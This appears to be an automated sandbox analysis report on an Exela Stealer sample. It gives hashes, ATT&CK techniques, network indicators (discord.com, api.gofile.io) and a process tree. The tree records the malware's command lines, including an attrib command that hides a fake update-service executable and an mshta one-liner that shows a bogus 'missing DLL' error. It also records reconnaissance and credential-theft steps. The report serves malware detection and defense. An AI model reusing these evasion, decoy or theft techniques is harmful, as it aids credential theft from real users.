exelastealer | d04c32601f9c67a8973b9ee0d651488be130cf94b73264e65a953e335d8058f8

Analysis

max time kernel
149s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
22/08/2026, 09:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
Size 12.0MB
Sample260822-lfxtbaef87
SHA256 d04c32601f9c67a8973b9ee0d651488be130cf94b73264e65a953e335d8058f8
MD5 9d6fbc550ad407fb802529e38801a701
SHA1 f58173a033622dd59cd531e993178d8b05a71c20
SHA512 dc7a5e53b66bb2ffbb4ee4896dabb8df4eae8595877d50341881b8aecbdd7f37fa98e556ec323897c2547c60842c0f6f9f8c2e1ed40c9a4e0a25aeb2ab0b48e3
SSDEEP 196608:BjSNvl1uz73WIRu3lYurErvI9pWj+qPvzmespE8YlZshcgQ/LS:BjSNKfxU36urEUWj93za3YLshXQ/LS
TLSH
T1D6C63391A7B10668E8BE533D8677D406DFB2BC5613A4C6EB03E093932F136E54E38716
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

collection credential_access defense_evasion discovery execution exelastealer persistence privilege_escalation spyware stealer upx

Malware Config

Signatures

Family: Exela Stealer
Exela Stealer is an open source stealer originally written in .NET and later transitioned to Python that was first observed in August 2023.
stealer exelastealer
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
4468	netsh.exe
2144	netsh.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4996	cmd.exe
4644	powershell.exe

Loads dropped DLL 32 IoCs

pid	Process
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
21	discord.com
22	discord.com
23	discord.com
24	api.gofile.io
25	api.gofile.io
30	discord.com

Looks up external IP address via web service 1 TTPs 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
7	ip-api.com

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
3856	cmd.exe
2920	ARP.EXE

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Discovers running processes 1 TTPs 5 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
4768	tasklist.exe
464	tasklist.exe
3412	tasklist.exe
2060	tasklist.exe
3144	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
312	cmd.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00070000000245e4-48.dat	upx
behavioral1/memory/2828-52-0x00007FFFCFAB0000-0x00007FFFD00A2000-memory.dmp	upx
behavioral1/files/0x00070000000245af-54.dat	upx
behavioral1/files/0x00070000000245dc-61.dat	upx
behavioral1/memory/2828-62-0x00007FFFE4E70000-0x00007FFFE4E7F000-memory.dmp	upx
behavioral1/memory/2828-59-0x00007FFFDC470000-0x00007FFFDC494000-memory.dmp	upx
behavioral1/files/0x00070000000245b8-80.dat	upx
behavioral1/files/0x00070000000245b7-79.dat	upx
behavioral1/files/0x00070000000245b6-78.dat	upx
behavioral1/files/0x00070000000245b5-77.dat	upx
behavioral1/files/0x00070000000245b4-76.dat	upx
behavioral1/files/0x00070000000245b3-75.dat	upx
behavioral1/files/0x00070000000245b2-74.dat	upx
behavioral1/files/0x00070000000245b1-73.dat	upx
behavioral1/files/0x00070000000245b0-72.dat	upx
behavioral1/files/0x00070000000245ae-71.dat	upx
behavioral1/files/0x00070000000245ad-70.dat	upx
behavioral1/files/0x00070000000245ac-69.dat	upx
behavioral1/files/0x00070000000245e7-68.dat	upx
behavioral1/files/0x00070000000245e6-67.dat	upx
behavioral1/files/0x00070000000245e5-66.dat	upx
behavioral1/files/0x00070000000245e2-65.dat	upx
behavioral1/files/0x00070000000245dd-64.dat	upx
behavioral1/files/0x00070000000245db-63.dat	upx
behavioral1/memory/2828-83-0x00007FFFDBE90000-0x00007FFFDBEA9000-memory.dmp	upx
behavioral1/memory/2828-85-0x00007FFFDB6A0000-0x00007FFFDB6CD000-memory.dmp	upx
behavioral1/memory/2828-92-0x00007FFFDBFF0000-0x00007FFFDC013000-memory.dmp	upx
behavioral1/memory/2828-93-0x00007FFFCF250000-0x00007FFFCF3CE000-memory.dmp	upx
behavioral1/memory/2828-89-0x00007FFFDC460000-0x00007FFFDC46D000-memory.dmp	upx
behavioral1/memory/2828-88-0x00007FFFDBB70000-0x00007FFFDBB89000-memory.dmp	upx
behavioral1/memory/2828-95-0x00007FFFDBA00000-0x00007FFFDBA33000-memory.dmp	upx
behavioral1/memory/2828-100-0x00007FFFCF9E0000-0x00007FFFCFAAD000-memory.dmp	upx
behavioral1/memory/2828-99-0x00007FFFCFAB0000-0x00007FFFD00A2000-memory.dmp	upx
behavioral1/files/0x00070000000245df-109.dat	upx
behavioral1/memory/2828-117-0x00007FFFDBFF0000-0x00007FFFDC013000-memory.dmp	upx
behavioral1/memory/2828-116-0x00007FFFCF8C0000-0x00007FFFCF9DC000-memory.dmp	upx
behavioral1/memory/2828-115-0x00007FFFDB9C0000-0x00007FFFDB9D4000-memory.dmp	upx
behavioral1/memory/2828-113-0x00007FFFDBB70000-0x00007FFFDBB89000-memory.dmp	upx
behavioral1/memory/2828-112-0x00007FFFDB9E0000-0x00007FFFDB9FC000-memory.dmp	upx
behavioral1/memory/2828-110-0x00007FFFDBFD0000-0x00007FFFDBFE2000-memory.dmp	upx
behavioral1/memory/2828-106-0x00007FFFE1E80000-0x00007FFFE1E95000-memory.dmp	upx
behavioral1/memory/2828-105-0x00007FFFE4E70000-0x00007FFFE4E7F000-memory.dmp	upx
behavioral1/memory/2828-103-0x00007FFFDC470000-0x00007FFFDC494000-memory.dmp	upx
behavioral1/memory/2828-102-0x00007FFFCED20000-0x00007FFFCF249000-memory.dmp	upx
behavioral1/memory/2828-118-0x00007FFFCF250000-0x00007FFFCF3CE000-memory.dmp	upx
behavioral1/files/0x00070000000245e9-119.dat	upx
behavioral1/files/0x00070000000245e1-121.dat	upx
behavioral1/memory/2828-122-0x00007FFFDB9A0000-0x00007FFFDB9BE000-memory.dmp	upx
behavioral1/memory/2828-126-0x00007FFFDB980000-0x00007FFFDB998000-memory.dmp	upx
behavioral1/memory/2828-124-0x00007FFFDBA00000-0x00007FFFDBA33000-memory.dmp	upx
behavioral1/files/0x00070000000245bc-127.dat	upx
behavioral1/files/0x00070000000245bb-129.dat	upx
behavioral1/files/0x00070000000245bf-135.dat	upx
behavioral1/files/0x00070000000245be-134.dat	upx
behavioral1/files/0x00070000000245da-139.dat	upx
behavioral1/files/0x00070000000245d8-140.dat	upx
behavioral1/memory/2828-145-0x00007FFFCEC80000-0x00007FFFCEC98000-memory.dmp	upx
behavioral1/memory/2828-148-0x00007FFFE1E80000-0x00007FFFE1E95000-memory.dmp	upx
behavioral1/memory/2828-147-0x00007FFFD56B0000-0x00007FFFD56C1000-memory.dmp	upx
behavioral1/memory/2828-146-0x00007FFFCE2F0000-0x00007FFFCEC7E000-memory.dmp	upx
behavioral1/memory/2828-144-0x00007FFFCECA0000-0x00007FFFCECCC000-memory.dmp	upx
behavioral1/memory/2828-143-0x00007FFFCECD0000-0x00007FFFCED1B000-memory.dmp	upx
behavioral1/memory/2828-142-0x00007FFFCED20000-0x00007FFFCF249000-memory.dmp	upx
behavioral1/memory/2828-132-0x00007FFFD5B30000-0x00007FFFD5B43000-memory.dmp	upx

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1684	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 18 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1980	cmd.exe
2676	cmd.exe
3532	cmd.exe
5016	cmd.exe
5072	cmd.exe
2848	cmd.exe
2536	cmd.exe
780	cmd.exe
1512	cmd.exe
1344	cmd.exe
5116	cmd.exe
3456	cmd.exe
2012	cmd.exe
2604	cmd.exe
2448	cmd.exe
4716	cmd.exe
3232	cmd.exe
1440	cmd.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
5040	netsh.exe
2848	cmd.exe

System Network Connections Discovery 1 TTPs 1 IoCs

Attempt to get a listing of network connections.

discovery

System Network Connections Discovery

T1049

pid	Process
1520	NETSTAT.EXE

Collects information from the system 1 TTPs 1 IoCs

Uses WMIC.exe to find detailed system information.

Data from Local System

T1005

pid	Process
2176	WMIC.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
784	WMIC.exe

Gathers network information 2 TTPs 2 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3080	ipconfig.exe
1520	NETSTAT.EXE

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1396	systeminfo.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
4644	powershell.exe
4644	powershell.exe
4644	powershell.exe
4140	powershell.exe
4140	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	784	WMIC.exe
Token: SeSecurityPrivilege	784	WMIC.exe
Token: SeTakeOwnershipPrivilege	784	WMIC.exe
Token: SeLoadDriverPrivilege	784	WMIC.exe
Token: SeSystemProfilePrivilege	784	WMIC.exe
Token: SeSystemtimePrivilege	784	WMIC.exe
Token: SeProfSingleProcessPrivilege	784	WMIC.exe
Token: SeIncBasePriorityPrivilege	784	WMIC.exe
Token: SeCreatePagefilePrivilege	784	WMIC.exe
Token: SeBackupPrivilege	784	WMIC.exe
Token: SeRestorePrivilege	784	WMIC.exe
Token: SeShutdownPrivilege	784	WMIC.exe
Token: SeDebugPrivilege	784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	784	WMIC.exe
Token: SeRemoteShutdownPrivilege	784	WMIC.exe
Token: SeUndockPrivilege	784	WMIC.exe
Token: SeManageVolumePrivilege	784	WMIC.exe
Token: 33	784	WMIC.exe
Token: 34	784	WMIC.exe
Token: 35	784	WMIC.exe
Token: 36	784	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2992	WMIC.exe
Token: SeSecurityPrivilege	2992	WMIC.exe
Token: SeTakeOwnershipPrivilege	2992	WMIC.exe
Token: SeLoadDriverPrivilege	2992	WMIC.exe
Token: SeSystemProfilePrivilege	2992	WMIC.exe
Token: SeSystemtimePrivilege	2992	WMIC.exe
Token: SeProfSingleProcessPrivilege	2992	WMIC.exe
Token: SeIncBasePriorityPrivilege	2992	WMIC.exe
Token: SeCreatePagefilePrivilege	2992	WMIC.exe
Token: SeBackupPrivilege	2992	WMIC.exe
Token: SeRestorePrivilege	2992	WMIC.exe
Token: SeShutdownPrivilege	2992	WMIC.exe
Token: SeDebugPrivilege	2992	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2992	WMIC.exe
Token: SeRemoteShutdownPrivilege	2992	WMIC.exe
Token: SeUndockPrivilege	2992	WMIC.exe
Token: SeManageVolumePrivilege	2992	WMIC.exe
Token: 33	2992	WMIC.exe
Token: 34	2992	WMIC.exe
Token: 35	2992	WMIC.exe
Token: 36	2992	WMIC.exe
Token: SeIncreaseQuotaPrivilege	784	WMIC.exe
Token: SeSecurityPrivilege	784	WMIC.exe
Token: SeTakeOwnershipPrivilege	784	WMIC.exe
Token: SeLoadDriverPrivilege	784	WMIC.exe
Token: SeSystemProfilePrivilege	784	WMIC.exe
Token: SeSystemtimePrivilege	784	WMIC.exe
Token: SeProfSingleProcessPrivilege	784	WMIC.exe
Token: SeIncBasePriorityPrivilege	784	WMIC.exe
Token: SeCreatePagefilePrivilege	784	WMIC.exe
Token: SeBackupPrivilege	784	WMIC.exe
Token: SeRestorePrivilege	784	WMIC.exe
Token: SeShutdownPrivilege	784	WMIC.exe
Token: SeDebugPrivilege	784	WMIC.exe
Token: SeSystemEnvironmentPrivilege	784	WMIC.exe
Token: SeRemoteShutdownPrivilege	784	WMIC.exe
Token: SeUndockPrivilege	784	WMIC.exe
Token: SeManageVolumePrivilege	784	WMIC.exe
Token: 33	784	WMIC.exe
Token: 34	784	WMIC.exe
Token: 35	784	WMIC.exe
Token: 36	784	WMIC.exe
Token: SeDebugPrivilege	2060	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2216 wrote to memory of 2828	2216	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	85
PID 2828 wrote to memory of 1344	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	86
PID 2828 wrote to memory of 1980	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	91
PID 2828 wrote to memory of 5116	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	93
PID 2828 wrote to memory of 3456	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	94
PID 2828 wrote to memory of 780	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	95
PID 1980 wrote to memory of 784	1980	cmd.exe	99
PID 5116 wrote to memory of 2992	5116	cmd.exe	100
PID 780 wrote to memory of 2060	780	cmd.exe	101
PID 2828 wrote to memory of 2604	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	103
PID 2604 wrote to memory of 2856	2604	cmd.exe	105
PID 2828 wrote to memory of 1512	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	106
PID 2828 wrote to memory of 2448	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	107
PID 1512 wrote to memory of 2208	1512	cmd.exe	110
PID 2448 wrote to memory of 3144	2448	cmd.exe	111
PID 2828 wrote to memory of 312	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	112
PID 312 wrote to memory of 1996	312	cmd.exe	114
PID 2828 wrote to memory of 4716	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	115
PID 2828 wrote to memory of 2676	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	116
PID 2676 wrote to memory of 4768	2676	cmd.exe	119
PID 4716 wrote to memory of 1624	4716	cmd.exe	120
PID 2828 wrote to memory of 3532	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	121
PID 2828 wrote to memory of 2012	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	122
PID 2828 wrote to memory of 3232	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	123
PID 2828 wrote to memory of 4996	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	124
PID 3532 wrote to memory of 5016	3532	cmd.exe	129
PID 4996 wrote to memory of 4644	4996	cmd.exe	130
PID 3232 wrote to memory of 464	3232	cmd.exe	131
PID 5016 wrote to memory of 2004	5016	cmd.exe	132
PID 2012 wrote to memory of 5072	2012	cmd.exe	133
PID 5072 wrote to memory of 3548	5072	cmd.exe	134
PID 2828 wrote to memory of 3856	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	135
PID 2828 wrote to memory of 2848	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	137
PID 3856 wrote to memory of 1396	3856	cmd.exe	139
PID 2848 wrote to memory of 5040	2848	cmd.exe	140
PID 3856 wrote to memory of 4160	3856	cmd.exe	146
PID 3856 wrote to memory of 2176	3856	cmd.exe	147
PID 3856 wrote to memory of 1680	3856	cmd.exe	148
PID 1680 wrote to memory of 3212	1680	net.exe	149
PID 3856 wrote to memory of 2608	3856	cmd.exe	150
PID 2608 wrote to memory of 1068	2608	query.exe	151
PID 3856 wrote to memory of 3976	3856	cmd.exe	152
PID 3976 wrote to memory of 3152	3976	net.exe	153
PID 3856 wrote to memory of 3144	3856	cmd.exe	154
PID 3144 wrote to memory of 1212	3144	net.exe	155
PID 3856 wrote to memory of 3392	3856	cmd.exe	156
PID 3392 wrote to memory of 5012	3392	net.exe	157
PID 3856 wrote to memory of 2644	3856	cmd.exe	158
PID 2644 wrote to memory of 4188	2644	net.exe	159
PID 3856 wrote to memory of 1996	3856	cmd.exe	160
PID 3856 wrote to memory of 3412	3856	cmd.exe	161
PID 3856 wrote to memory of 3080	3856	cmd.exe	162
PID 3856 wrote to memory of 3788	3856	cmd.exe	163
PID 3856 wrote to memory of 2920	3856	cmd.exe	164
PID 3856 wrote to memory of 1520	3856	cmd.exe	165
PID 3856 wrote to memory of 1684	3856	cmd.exe	166
PID 3856 wrote to memory of 4468	3856	cmd.exe	167
PID 3856 wrote to memory of 2144	3856	cmd.exe	168
PID 2828 wrote to memory of 1440	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	169
PID 1440 wrote to memory of 700	1440	cmd.exe	171
PID 2828 wrote to memory of 644	2828	2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe	172
PID 644 wrote to memory of 4140	644	cmd.exe	174
PID 4140 wrote to memory of 4976	4140	powershell.exe	175
PID 4976 wrote to memory of 1676	4976	csc.exe	176

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1996	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
"C:\Users\Admin\AppData\Local\Temp\2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2216
- C:\Users\Admin\AppData\Local\Temp\2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-08-21_9d6fbc550ad407fb802529e38801a701_blankgrabber_cobalt-strike_glassworm_icedid_njrat_satacom.exe"
  2⤵
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "ver"
    3⤵
    - Executes a command shell one-liner
    PID:1344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1980
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious use of AdjustPrivilegeToken
      PID:784
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5116
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get Manufacturer
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "gdb --version"
    3⤵
    - Executes a command shell one-liner
    PID:3456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:780
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path Win32_ComputerSystem get Manufacturer
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1512
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      PID:2208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2448
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:3144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe""
    3⤵
    - Hide Artifacts: Hidden Files and Directories
    - Suspicious use of WriteProcessMemory
    PID:312
  - - C:\Windows\system32\attrib.exe
      attrib +h +s "C:\Users\Admin\AppData\Local\ExelaUpdateService\Exela.exe"
      4⤵
      Views/modifies file attributes
      PID:1996
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4716
  - - C:\Windows\system32\mshta.exe
      mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
      4⤵
      PID:1624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2676
